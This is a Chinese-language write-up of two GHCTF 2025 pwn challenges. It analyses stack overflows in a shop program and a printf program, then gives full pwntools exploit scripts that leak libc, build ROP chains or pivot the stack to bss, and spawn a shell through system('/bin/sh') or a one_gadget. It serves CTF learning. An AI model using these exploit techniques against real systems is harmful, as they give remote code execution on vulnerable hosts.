ret2libc1

[GHCTF 2025]ret2libc1

准备


64 位,开了 NX 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
while ( 1 )
{
menu();
switch ( (unsigned int)read_count() )
{
case 1u:
flower();
break;
case 2u:
books();
break;
case 3u:
hell_money();
break;
case 4u:
clothing();
break;
case 5u:
shop();
break;
case 6u:
check_money();
break;
case 7u:
see_it();
break;
default:
puts("Invalid choose");
break;
}
}
}

一个商店系统,开头给了一个菜单,提示是 6 个选项,选择中有一个隐藏第 7 选项
这里对重要的函数进行分析

3-hell_money函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int hell_money()
{
int what_can_I_say; // eax
unsigned int count; // [rsp+Ch] [rbp-4h]

puts("1$ = 1000hell_money");
puts("How much do you want to spend buying the hell_money?");
count = read_count();
if ( money < count )
return puts("Don't have enough money");
what_can_I_say = what_can_I_say + 1000 * count;
what_can_I_say = what_can_I_say;
return what_can_I_say;
}

这里是用钱换冥币,1$换1000 冥币,会检查兑换数量是否超出拥有的数量

5-shop(漏洞函数)

1
2
3
4
5
6
7
8
9
10
11
12
int shop()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("Do you want to buy my shop?");
if ( money <= 100000 )
return puts("roll!");
money -= 100000;
puts("give you my shop!!!");
puts("You can name it!!!");
return read(0, buf, 0x80uLL);
}

当我们钱大于 100000 时,可以买下商店,并改变商店名字
漏洞点是最后这里的输入点
读取输入最大 128(0x80) 个字符到 buf ,但 buf 大小为 64,所以存在缓冲区溢出

6-check_money函数

1
2
3
4
5
int check_money()
{
printf("you have %d $\n", money);
return printf("you have %d hell_money\n", what_can_I_say);
}

输出有多少钱和冥币,这里 money 参数代表钱,what_can_I_say 代表冥币

7-see_it函数

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 see_it()
{
__int64 result; // rax
int count; // [rsp+Ch] [rbp-4h]

puts("Barter?!1000$ = 1hell_money");
printf("How much do you exchange?");
count = read_count();
what_can_I_say -= count;
result = (unsigned int)(money + 1000 * count);
money += 1000 * count;
return result;
}

这里是用冥币换钱,1 冥币换 1000$ ,但没限制兑换后冥币不为负数

思路

这题主要的是获得足够的金币,买下店后改名字处的漏洞输入点
而获取金币可以利用选项 7 ,这里没限制兑换后冥币不为负数,所以可以直接透支 100冥币换取 100000$,这样就能获得漏洞输入点
接着这题只有溢出点,没有连接点和其他信息,有 puts 函数,所以直接打 64 位的 ret2libc
先用 gdb 获得偏移量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
motaly@motaly-VMware-Virtual-Platform:~$ gdb a
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from a...

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in a)
------- tip of the day (disable with set show-tips off) -------
Want to display each context panel in a separate tmux window? See https://github.com/pwndbg/pwndbg/blob/dev/FEATURES.md#splitting--layouting-context
pwndbg> cyclic 500
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
pwndbg> r
Starting program: /home/motaly/a
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to shop, what do you buy?
1.flowers
2.books
3.hell money
4.clothing
5.buy my shop
6.check youer money
7
Barter?!1000$ = 1hell_money
How much do you exchange?100
Welcome to shop, what do you buy?
1.flowers
2.books
3.hell money
4.clothing
5.buy my shop
6.check youer money
5
Do you want to buy my shop?
give you my shop!!!
You can name it!!!
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400b8e in shop ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────
RAX 0x80
RBX 0x7fffffffd848 —▸ 0x7fffffffdc1a ◂— '/home/motaly/a'
RCX 0x7ffff7d1ba61 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x80
RDI 0
RSI 0x7fffffffd6c0 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaa'
R8 0x12
R9 0
R10 0x7ffff7db1fc0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
R11 0x246
R12 1
R13 0
R14 0
R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x6161616161616169 ('iaaaaaaa')
RSP 0x7fffffffd708 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaa'
RIP 0x400b8e (shop+112) ◂— ret
──────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────
► 0x400b8e <shop+112> ret <0x616161616161616a>










────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd708 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaa'
01:0008│ 0x7fffffffd710 ◂— 'kaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaa'
02:0010│ 0x7fffffffd718 ◂— 'laaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaa'
03:0018│ 0x7fffffffd720 ◂— 'maaaaaaanaaaaaaaoaaaaaaapaaaaaaa'
04:0020│ 0x7fffffffd728 ◂— 'naaaaaaaoaaaaaaapaaaaaaa'
05:0028│ 0x7fffffffd730 ◂— 'oaaaaaaapaaaaaaa'
06:0030│ 0x7fffffffd738 ◂— 'paaaaaaa'
07:0038│ 0x7fffffffd740 ◂— 0x100000000
──────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────
► 0 0x400b8e shop+112
1 0x616161616161616a None
2 0x616161616161616b None
3 0x616161616161616c None
4 0x616161616161616d None
5 0x616161616161616e None
6 0x616161616161616f None
7 0x6161616161616170 None
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
Undefined command: "qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa". Try "help".
pwndbg> cyclic -l 0x616161616161616a
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72

偏移量为 72
因为 64 位传参需要寄存器,且要考虑堆栈平衡的问题,所以通过 ROPgadget 指令进行查看
这里是用 puts 函数打 ret2libc ,一个参数,所以只用一个 rdi 寄存器

最后就是正常的打 ret2libc 流程
先获取 puts 函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(os='linux',log_level='debug',arch='amd64')
io=remote('node1.anna.nssctf.cn',28283)
# io= process('/home/motaly/a')
elf=ELF('/home/motaly/a')
libc=ELF('/home/motaly/libc.so.6')

def s(data):
io.sendlineafter("check youer money\n", "7")
io.sendlineafter("How much do you exchange?", "100")
io.sendlineafter("check youer money\n", "5")
io.sendlineafter("You can name it!!!\n", data)

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400C4F
rdi=0x400d73
ret=0x400579

payload=b'a'*72+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
s(payload)

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

通过这个地址得到 libc 基址,然后就有了 system/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def s(data):
io.sendlineafter("check youer money\n", "7")
io.sendlineafter("How much do you exchange?", "100")
io.sendlineafter("check youer money\n", "5")
io.sendlineafter("You can name it!!!\n", data)

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400C4F
rdi=0x400d73
ret=0x400579

payload=b'a'*72+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
s(payload)

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc_base=puts_addr-libc.sym['puts']
log.success('libc_base: '+hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh'))

这里我没改文件的 libc ,所以用附件给的 libc 打本地, libc_base 是错误的,直接打远程就可以了
最后直接连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def s(data):
io.sendlineafter("check youer money\n", "7")
io.sendlineafter("How much do you exchange?", "100")
io.sendlineafter("check youer money\n", "5")
io.sendlineafter("You can name it!!!\n", data)

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400C4F
rdi=0x400d73
ret=0x400579

payload=b'a'*72+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
s(payload)

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc_base=puts_addr-libc.sym['puts']
log.success('libc_base: '+hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh'))

payload=b'a'*72+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
s(payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(os='linux',log_level='debug',arch='amd64')
io=remote('node1.anna.nssctf.cn',28283)
# io= process('/home/motaly/a')
elf=ELF('/home/motaly/a')
libc=ELF('/home/motaly/libc.so.6')

def s(data):
io.sendlineafter("check youer money\n", "7")
io.sendlineafter("How much do you exchange?", "100")
io.sendlineafter("check youer money\n", "5")
io.sendlineafter("You can name it!!!\n", data)

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400C4F
rdi=0x400d73
ret=0x400579

payload=b'a'*72+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
s(payload)

puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc_base=puts_addr-libc.sym['puts']
log.success('libc_base: '+hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh'))

payload=b'a'*72+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
s(payload)

io.interactive()

ret2libc2

[GHCTF 2025]ret2libc2
参考的大佬wp

准备


64 位,开了 NX 保护

分析

main函数

1
2
3
4
5
6
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
func();
return 0;
}

一个 func 函数

func函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
_BYTE *func()
{
_BYTE buf[32]; // [rsp+0h] [rbp-30h] BYREF
char format[14]; // [rsp+20h] [rbp-10h] BYREF
__int16 v3; // [rsp+2Eh] [rbp-2h]

strcpy(format, "hello world!\n");
v3 = 0;
printf(format);
puts("give you a gift.");
puts("show your magic");
read(0, buf, 0x60uLL);
return buf;
}

这里把 hello world! 复制给 format 参数,并在下面用 printf 函数进行输出
后面读取输入最大 96(0x60) 个字符到 buf ,但 buf 大小为 32,所以存在缓冲区溢出

思路

这题只有溢出点,没有连接点和其他信息,有 puts 函数,一眼看想着直接打 64 位的 ret2libc
gdb 获得偏移量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
motaly@motaly-VMware-Virtual-Platform:~$ gdb r2
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from r2...

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in r2)
------- tip of the day (disable with set show-tips off) -------
GDB and Pwndbg parameters can be shown or set with show <param> and set <param> <value> GDB commands
pwndbg> cyclic 500
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
pwndbg> r
Starting program: /home/motaly/r2
warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
hello world!
give you a gift.
show your magic
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401273 in func ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────
RAX 0x7fffffffd6c0 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaa'
RBX 0
RCX 0x7ffff7d147e2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x60
RDI 0
RSI 0x7fffffffd6c0 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaa'
R8 0xf
R9 0x7ffff7fc9040 ◂— endbr64
R10 0x7ffff7c065e8 ◂— 0xf001200001a64
R11 0x246
R12 0x7fffffffd818 —▸ 0x7fffffffdbff ◂— '/home/motaly/r2'
R13 0x401274 (main) ◂— endbr64
R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401160 (__do_global_dtors_aux) ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x6161616161616167 ('gaaaaaaa')
RSP 0x7fffffffd6f8 ◂— 'haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaa'
RIP 0x401273 (func+120) ◂— ret
──────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────
► 0x401273 <func+120> ret <0x6161616161616168>










────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd6f8 ◂— 'haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaa'
01:0008│ 0x7fffffffd700 ◂— 'iaaaaaaajaaaaaaakaaaaaaalaaaaaaa'
02:0010│ 0x7fffffffd708 ◂— 'jaaaaaaakaaaaaaalaaaaaaa'
03:0018│ 0x7fffffffd710 ◂— 'kaaaaaaalaaaaaaa'
04:0020│ 0x7fffffffd718 ◂— 'laaaaaaa'
05:0028│ 0x7fffffffd720 ◂— 0x100000000
06:0030│ 0x7fffffffd728 —▸ 0x7fffffffd818 —▸ 0x7fffffffdbff ◂— '/home/motaly/r2'
07:0038│ 0x7fffffffd730 ◂— 0
──────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────
► 0 0x401273 func+120
1 0x6161616161616168 None
2 0x6161616161616169 None
3 0x616161616161616a None
4 0x616161616161616b None
5 0x616161616161616c None
6 0x100000000 None
7 0x7fffffffd818 None
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> maaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
Undefined command: "maaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa". Try "help".
pwndbg> cyclic -l 0x6161616161616168
Finding cyclic pattern of 8 bytes: b'haaaaaaa' (hex: 0x6861616161616161)
Found at offset 56

偏移量为 56
因为 64 位传参需要寄存器,且要考虑堆栈平衡的问题,所以通过 ROPgadget 指令进行查看
这里是用 puts 函数打 ret2libc ,一个参数,所以只用一个 rdi 寄存器

发先这道题目没给 rdi 寄存器,那么常规的 ret2libc 就不可行
查看栈情况

发现能控制 format 的值
结合 printf 函数和栈溢出,可以想到修改 format 处的值和覆盖返回地址到 printf(format); ,实现格式化字符串漏洞

因为前面有 strcpy 函数,影响 format 处的值,所以返回到 0x401227 这里
再查看栈上是否有有用函数来泄露 libc

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(os='linux',log_level='debug',arch='amd64')
# io=remote('node1.anna.nssctf.cn',28077)
io= process('/home/motaly/r2')
elf=ELF('/home/motaly/r2')
libc=ELF('/home/motaly/libc.so.6')

gdb.attach(io)

payload=b'b'*56+p64(0x401227)
io.sendlineafter(b'show your magic\n',payload)

io.interactive()

调试一直运行到 call printf@plt 处,查看栈情况

发现可以利用 __libc_start_main 函数,获取偏移

偏移为 27
一开始自己往后写,写到了最后,就是打不通,看了一下大佬的 wp,并咨询了一下身边的大佬
发现这题存在一个缺少函数开头初始化栈帧步骤的问题,我们返回地址直接返回到了函数中间,影响流程运行
而解决办法就是进行栈迁移,设置 rbpbss 段,这样 rsp 也会被劫持到 bss 段,然后再次进入 read 来写入 ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func=0x401227
bss=0x404060+0x100
ret=0x40101a

payload=b'b'*31+b'x'+b'%27$pbbb'+b'b'*8+p64(bss)+p64(func)
io.sendlineafter(b'show your magic\n',payload)

io.recvuntil(b'x')
libc_start_main=int(io.recv(14),16)-0x80
log.success('libc_start_main: '+hex(libc_start_main))

libc_base=libc_start_main-libc.sym['__libc_start_main']
log.success('libc_base: ' + hex(libc_base))
one_gadget=[0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
og=libc_base+one_gadget[0]

通过 x 来定位函数地址位置,这里的填充一定要注意
输入点到 format 的距离是 0x20(32)
formatrbp 之间还有一个 v3 参数 8 字节

-0x80 是获取到的地址与真正的函数地址还存在偏差,要减去差值
最后同样到 bss 段,打 one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func=0x401227
bss=0x404060+0x100
ret=0x40101a

payload=b'b'*31+b'x'+b'%27$pbbb'+b'b'*8+p64(bss)+p64(func)
io.sendlineafter(b'show your magic\n',payload)

io.recvuntil(b'x')
libc_start_main=int(io.recv(14),16)-0x80
log.success('libc_start_main: '+hex(libc_start_main))

libc_base=libc_start_main-libc.sym['__libc_start_main']
log.success('libc_base: ' + hex(libc_base))
one_gadget=[0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
og=libc_base+one_gadget[0]

payload=b'a'*48+p64(bss)+p64(og)
io.sendlineafter(b'show your magic\n',payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(os='linux',log_level='debug',arch='amd64')
# io=remote('node1.anna.nssctf.cn',28077)
io= process('/home/motaly/r2')
elf=ELF('/home/motaly/r2')
libc=ELF('/home/motaly/libc.so.6')

func=0x401227
bss=0x404060+0x100
ret=0x40101a

payload=b'b'*31+b'x'+b'%27$pbbb'+b'b'*8+p64(bss)+p64(func)
io.sendlineafter(b'show your magic\n',payload)

io.recvuntil(b'x')
libc_start_main=int(io.recv(14),16)-0x80
log.success('libc_start_main: '+hex(libc_start_main))

libc_base=libc_start_main-libc.sym['__libc_start_main']
log.success('libc_base: ' + hex(libc_base))
one_gadget=[0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
og=libc_base+one_gadget[0]

payload=b'a'*48+p64(bss)+p64(og)
io.sendlineafter(b'show your magic\n',payload)
io.interactive()